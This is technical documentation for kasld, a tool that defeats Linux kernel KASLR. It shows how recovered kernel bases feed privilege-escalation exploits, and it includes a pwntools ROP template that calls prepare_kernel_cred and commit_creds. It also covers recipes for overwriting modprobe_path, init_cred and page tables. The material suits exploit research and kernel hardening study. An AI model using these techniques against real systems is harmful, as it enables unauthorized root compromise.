Defeating KASLR in a kernel exploit

August 1, 2026 · View on GitHub

A kernel exploit runs against a randomized kernel. KASLR places the kernel image — and, on some architectures, the direct map — at a boot-chosen offset, so every kernel address the exploit needs (a function to call, a global to overwrite, a ROP gadget) sits at an unknown runtime location. Defeating KASLR is the step that recovers that offset: it turns an address from an unrandomized source (System.map, a debug vmlinux, a /proc/kallsyms snapshot) into the one the running kernel actually uses.

kasld performs that step from an unprivileged local process — the attacker identity it models. It recovers the kernel image base and KASLR slide, and, where they are randomized independently, the direct-map base. It is a derandomization tool, not the exploit itself: it supplies the layout an exploit re-bases against, not the memory-corruption primitive that does the writing, and not the addresses of per-task heap objects. This document covers where that step fits in an exploit and how kasld's output feeds the two dominant strategies — control-flow reuse and data-only.

Table of Contents

Where it fits in the chain

The recovered base makes every image address usable; from there the exploit re-bases the addresses it needs and drives them with its own primitive:

Exploitation pipeline: kasld leaks the kernel image base and slide; the base plus the slide plus an unrandomized symbol source (vmlinux, System.map, or a kallsyms snapshot) resolves any symbol's runtime address (or, inversely, derives the base from one known symbol address); the exploit then drives those addresses via control-flow reuse (ROP) or a data-only write

kasld runs on the target host: it derandomizes the running kernel, so the vmlinux / System.map used to resolve symbols must be for that exact build. The template below assumes the exploit already has code execution on the target and a corruption primitive; kasld fills in where the kernel is.

The layout kasld hands you

--json (-j) emits the stable machine-readable surface (text and verbose modes are human-only):

FieldTypeMeaning
kaslr.virtual.image_basehex stringRecovered kernel image base (_text)
kaslr.virtual.slide_bytesintegerKASLR slide (runtime − default)
kaslr.memory_kaslr.virt_page_offset_baseobject (min/max/slots/entropy_bits)Direct-map base (page_offset_base) window — translates physical↔virtual; randomized independently of text on x86_64 / arm64 / riscv64 / s390
kaslr.memory_kaslr.virt_vmalloc_baseobject (min/max/slots/entropy_bits)vmalloc-region base — modules, BPF JIT, kernel stacks
kaslr.memory_kaslr.virt_vmemmap_baseobject (min/max/slots/entropy_bits)vmemmap base (struct page array) — maps a physical page to its struct page (page-table attacks)
kaslr.disabledboolTrue when KASLR is opted out (nokaslr / CONFIG_RANDOMIZE_BASE=n / hibernation) or unsupported by the arch. Not set if the boot stub attempted KASLR but failed to apply a random offset — the kernel is then relocated to a firmware-determined position (see KASLR runtime states)
archstringCanonical arch name (x86_64, aarch64, …)

kasld emits layout — these bases and the slide — not resolved symbol addresses: it is build-agnostic and never sources a vmlinux / System.map or trusts a version string. Turning the slide into a specific symbol's runtime address is ksymoff's job (below), with a symbol source you supply.

From a base to runtime addresses

The whole kernel image relocates by a single slide, so one leaked kernel pointer fixes every address in it: add the slide to any symbol from an unrandomized source to get its runtime address. This holds for functions and global data alike.text, .data, and .bss all move together — which is what lets both strategies below work from the same recovered base. Offsets to useful symbols can be pre-computed on another machine running the same kernel build (trivial for public distro kernels).

pwntools applies the slide with ELF.address = image_base (see the control-flow template). Without pwntools, the bundled extra/ksymoff resolves symbols against a System.map, a /proc/kallsyms snapshot, or a debug vmlinux (symbols via nm / readelf; a stripped distro vmlinux has no symbol table). The default base is taken from _text in the symbol source. It has three modes:

Forward — base → symbols

Given a runtime text base (from a KASLD run) and a symbol source, print runtime addresses for one or more symbols, or for every symbol in the source when no symbols are listed.

# Explicit base + System.map
./extra/ksymoff -b 0xffffffff82200000 -s System.map commit_creds
ffffffff82276cb0 T commit_creds

# Multiple symbols at once
./extra/ksymoff -b 0xffffffff82200000 -s vmlinux \
  commit_creds prepare_kernel_cred init_cred

# Pipe directly from KASLD --oneline (reads the `text=` field)
./build/*/kasld -1 2>/dev/null | ./extra/ksymoff -s System.map commit_creds

# Dump every symbol with the slide applied
./extra/ksymoff -b 0xffffffff82200000 -s System.map | head

Inverse — known symbol → base

Given any one known runtime symbol address (e.g. via a UAF read, infoleak, or side channel that returned a recognizable pointer), derive the runtime text base. Useful when the leak points at a specific symbol rather than at _text itself.

# Derive the runtime text base from a single known address
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s System.map
0xffffffff82200000

# Combine with positional symbols: one leak yields many
./extra/ksymoff --from commit_creds=0xffffffff82345678 -s vmlinux \
  prepare_kernel_cred init_cred modprobe_path

--slide — just the offset

Print the signed slide instead of resolved addresses. Combines with either mode.

./extra/ksymoff -b 0xffffffff82200000 -s System.map --slide
+0x1200000

./extra/ksymoff --from commit_creds=0xffffffff82345678 -s System.map --slide
+0x1200000

Run ./extra/ksymoff --help for the full reference. Beyond symbols, ksymoff also translates physical↔virtual through the direct map (--phys2virt / --virt2phys / --phys2page), which data-only pivots use.

FG-KASLR (function-granular KASLR) reorders functions independently and breaks the single-slide assumption — see docs/kaslr.md §FG-KASLR.

With runtime addresses in hand, an exploit uses them one of two ways.

Control-flow reuse

The classic chain hijacks control flow to call kernel functions — e.g. prepare_kernel_cred(0) then commit_creds() to give the current task full privileges — with a ROP/JOP payload driven by a corruption primitive (a stack overflow, a corrupted function pointer, …):

#!/usr/bin/env python3
import json, subprocess, sys
from pwn import *

# Leak kernel base with KASLD
result = subprocess.run(
  [
    "./build/x86_64-linux-gnu/kasld",
    "--json",
    "--fast",
    "--quiet"
  ],
  capture_output=True,
  text=True
)
data = json.loads(result.stdout)
context.arch = {"x86_64": "amd64"}.get(data["arch"], data["arch"])
kaslr = data["kaslr"].get("virtual")
if not kaslr:
    log.failure("kasld did not find the kernel text base")
    sys.exit(1)
image_base = int(kaslr["image_base"], 16)
slide     = int(kaslr["slide_bytes"])
log.success(f"kernel text base: {hex(image_base)}  (slide +{hex(slide)})")

# Resolve runtime addresses via vmlinux symbol table
vmlinux = ELF("vmlinux", checksec=False)
vmlinux.address = image_base
commit_creds        = vmlinux.symbols["commit_creds"]
prepare_kernel_cred = vmlinux.symbols["prepare_kernel_cred"]
log.info(f"commit_creds:        {hex(commit_creds)}")
log.info(f"prepare_kernel_cred: {hex(prepare_kernel_cred)}")

# Build ROP chain
rop = ROP(vmlinux)
rop.call(prepare_kernel_cred, [0])
# move rax -> rdi here with a target-specific gadget
# rop.raw(rop.find_gadget(["mov rdi, rax", "ret"]).address)
rop.call(commit_creds)
payload = flat(rop.chain())

This needs the text base to locate functions and gadgets. On kernels hardened with forward-edge Control-Flow Integrity (kCFI, or FineIBT on x86) and shadow stacks (arm64 Shadow Call Stack, x86 CET), a corrupted return address or indirect-call target is validated and rejected, so ROP/JOP is often infeasible — which is why data-only attacks have become the common path.

Data-only

Data-only attacks corrupt kernel data without diverting control flow, so CFI and shadow stacks do not apply — the reason they have become the common path (the foundational result is that non-control-data attacks are Turing-complete, Data-Oriented Programming). What they need from KASLR-defeat splits by which part of the layout carries the target.

Global targets — kasld resolves them directly. Writable kernel globals live in the image, so they re-base by the slide exactly like a function, and one kasld run plus ksymoff yields their runtime address:

  • Usermode-helper stringsmodprobe_path, core_pattern, poweroff_cmd. Overwrite the string to point at an attacker-controlled script and trigger the helper (for modprobe_path, execute a file with unknown magic); it runs as root:

    ./build/*/kasld -1 2>/dev/null | ./extra/ksymoff -s System.map modprobe_path
    
  • init_cred — a global struct cred with full capabilities. Pointing a task's cred / real_cred at it is instant root with no cred crafting, and kasld gives its runtime address from the slide like any symbol.

  • Policy globals — LSM enforcement flags, sysctl tables, and similar switches.

Heap and physical targets — kasld's non-text bases are the enabler. These sit in the heap or in physical memory, not the image, so the slide does not locate them; the direct-map and vmemmap bases kasld also recovers are what make a leaked pointer usable:

  • Credential overwrite — zero the uid / gid / caps of the current task's struct cred. Needs the heap address of current->cred (from a leak); the direct-map base turns a leaked physical or direct-map pointer into a writable virtual address.

  • Object swapDirtyCred reclaims a freed low-privileged cred / file as a privileged one, sidestepping the field overwrite entirely.

  • Page-table corruption — cross-cache / SLUBStick and Dirty Pagetable overwrite PTEs for arbitrary physical read/write. They translate physical↔virtual through the direct-map base and locate struct page through the vmemmap base — both kasld outputs (and on decoupled arches the direct map is randomized independently of text, so kasld resolves it separately). ksymoff performs those translations directly:

    kasld -1 2>/dev/null | ./extra/ksymoff --phys2virt 0x34600000   # phys -> direct-map virt
    ./extra/ksymoff --vmemmap <base> --phys2page 0x34600000         # phys -> struct page
    

    See also Side-channels (SLUBStick, cross-cache) and Arbitrary read.

kasld supplies layout: the slid image (any global symbol) plus the direct-map and vmemmap bases (physical↔virtual, struct page). It does not locate a specific per-task heap object such as a cred or task_struct — that still needs a leak, which the recovered bases then make usable.

References

TopicReference
Non-control-data attacks (foundation)Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks (Hu, Shinde, Adrian, Chua, Saxena & Liang, IEEE S&P 2016)
Usermode-helper globals (modprobe_path, core_pattern)Like techniques: modprobe_path (sam4k)
Credential object swap (cred / file)DirtyCred: Escalating Privilege in Linux Kernel (Lin, Wu & Xing, ACM CCS 2022) — PoC
Page-table corruption → arbitrary physical R/WDirty Pagetable (Nicolas Wu, 2023)
Forward-edge CFI (x86 hardware)FineIBT: Fine-grain Control-flow Enforcement with Indirect Branch Tracking (Gaidis, Moreira & Kemerlis, RAID 2023)
Kernel control-flow integrity (kCFI)Control Flow Integrity in the Linux kernel (Kees Cook, 2020)